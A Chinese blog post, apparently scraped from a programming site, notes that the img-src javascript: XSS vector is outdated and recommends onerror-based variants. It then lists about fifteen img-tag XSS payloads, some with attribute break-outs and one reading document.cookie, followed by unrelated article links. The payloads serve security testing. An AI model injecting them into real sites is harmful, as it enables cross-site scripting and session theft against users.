<img src="javascript:alert(/xss/)">已经慢慢过时了的

来源：互联网发布：加壳软件编辑：程序博客网时间：2024/05/24 04:26

我在一年前就发现类似<img src="javascript:alert(/xss/)">这种语句已经不能在IE7.0以上和火狐运行，而旧版的遨游和其他的一些IE内核浏览器还可以，估计是被开发人员故意封掉的。随着浏览器的更新换代，这种语句的成功率越来越低，我在网上找到一些新文章仍还是在使用。
建议还是早点习惯<img src="x"/**/onerror=javascript:xxxx>吧，这种方式绝大部分浏览器都可以执行。。

<img src="javascript:alert(/xss/)">已经慢慢过时了的
<img src="javascript:alert(/xss/)">已经慢慢过时了的
<img src="javascript:alert(/xss/)">已经慢慢过时了的
<img src="javascript:alert(/XSS/)">
<img src="" onerror="alert('xss')"/>
<img src="javascript:alert('rNma0y')">
"><img src=hi onerror=alert('XSS By Luan')>
"><img src=xss onerror=alert(test)>
XSS漏洞： new Image().src = 'javascript:alert(1)';
<img src="http://xss.re/5640" onerror="alert(123456789)">
<img src="x" onerror="javascript:alert(9)" alt="" /> onerror="javascript:alert(x)
<img src=# onerror=alert(1)>
<img/src=x onerror=alert()>
<img/src=x onerror=alert()>
<img/src=x onerror=alert()>
"><img onerror=alert(1) src=>
"><img src=1 onerror=alert(document.cookie)>
"><img src=hi onerror=alert(1)>
VMware及Linux
模拟post登陆提交表单问题详解
HDU_4514湫湫系列故事——设计风景线
2013腾讯编程马拉松初赛 20130320第一场1001 小Q系列故事——屌丝的逆袭简单题
函数嵌套找最大值
<img src="javascript:alert(/xss/)">已经慢慢过时了的
cocos2d-x 粒子移动类型
Uva-673-Parentheses Balance
【来自豆瓣】--要么滚要么拼命
PHP中CURL使用POST提交XML数据
WinSock IO模型四：重叠I/O (完成例程)
使用imageMagick中composite命令帮助你合并图片
十条nmap常用的扫描命令
如何在命令行下编译C++程序